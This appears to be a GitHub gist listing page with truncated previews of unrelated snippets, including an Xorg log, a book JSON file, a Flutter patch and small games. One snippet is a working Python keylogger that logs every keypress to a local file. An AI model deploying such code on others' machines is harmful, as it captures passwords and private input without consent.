This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[ 2823.997] (WW) Failed to open protocol names file lib/xorg/protocol.txt | |
[ 2823.998] | |
X.Org X Server 1.20.13 | |
X Protocol Version 11, Revision 0 | |
[ 2824.001] Build Operating System: Linux Archlinux | |
[ 2824.002] Current Operating System: Linux lisa 5.14.14-arch1-1 #1 SMP PREEMPT Wed, 20 Oct 2021 21:35:18 +0000 x86_64 | |
[ 2824.002] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-linux root=UUID=a72dd67e-9867-4c66-8ec0-189cb145ee25 rw loglevel=3 quiet pci=realloc | |
[ 2824.004] Build Date: 04 August 2021 08:13:54AM | |
[ 2824.005] | |
[ 2824.007] Current version of pixman: 0.40.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"books": [ | |
{ | |
"isbn": "9781593275846", | |
"title": "Eloquent JavaScript, Second Edition", | |
"subtitle": "A Modern Introduction to Programming", | |
"author": "Marijn Haverbeke", | |
"published": "2014-12-14T00:00:00.000Z", | |
"publisher": "No Starch Press", | |
"pages": 472, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pynput.keyboard import Key, Listener | |
import logging | |
logging.basicConfig(filename=("data.dat"), level=logging.DEBUG, format='%(asctime)s: %(message)s') | |
def on_press(key): | |
logging.info(str(key)) | |
with Listener(on_press=on_press) as listener: | |
listener.join() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding: utf-8 | |
# In[3]: | |
import csv | |
import matplotlib.pyplot as plt | |
import numpy as np | |
from sklearn.pipeline import Pipeline |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rmagick' | |
include Magick | |
Rows = 500 | |
Cols = 500 | |
$i = 0 | |
loading = ImageList.new | |
while $i < 360 do | |
frame = Image.new(Cols, Rows) do |c| | |
c.background_color = "white" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Replace _buildVertical() function of | |
// flutter/packages/flutter/lib/src/material/stepper.dart | |
Widget _buildVertical() { | |
return ListView.builder( | |
shrinkWrap: true, | |
itemCount: widget.steps.length, | |
itemBuilder: (BuildContext context, int i){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
From ad18b73407a174883ffe6be11db210226cc5a074 Mon Sep 17 00:00:00 2001 | |
From: Sanket Chaudhari <chaudharisanket2000@gmail.com> | |
Date: Mon, 22 Oct 2018 04:29:51 +0530 | |
Subject: [PATCH] Made Stepper, Stepper Size Dynamic | |
--- | |
.../flutter/lib/src/material/stepper.dart | 20 +++++++++---------- | |
1 file changed, 9 insertions(+), 11 deletions(-) | |
diff --git a/packages/flutter/lib/src/material/stepper.dart b/packages/flutter/lib/src/material/stepper.dart |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
// Get Minimum Function | |
int min(int a, int b){ | |
if(a < b){ | |
return a; | |
} | |
return b; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Verifying my Blockstack ID is secured with the address 17rLuBeKNJwfiGunEfKiTiFRZrCvgG5hYY https://explorer.blockstack.org/address/17rLuBeKNJwfiGunEfKiTiFRZrCvgG5hYY |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Cricket() { | |
var Maths = Math.random() * 10 ; | |
Maths = Math.floor(Maths); | |
if (Maths ==1 ) { | |
return "One run"; | |
} | |
else if (Maths == 2) { | |
return "Two runs"; | |
} |
NewerOlder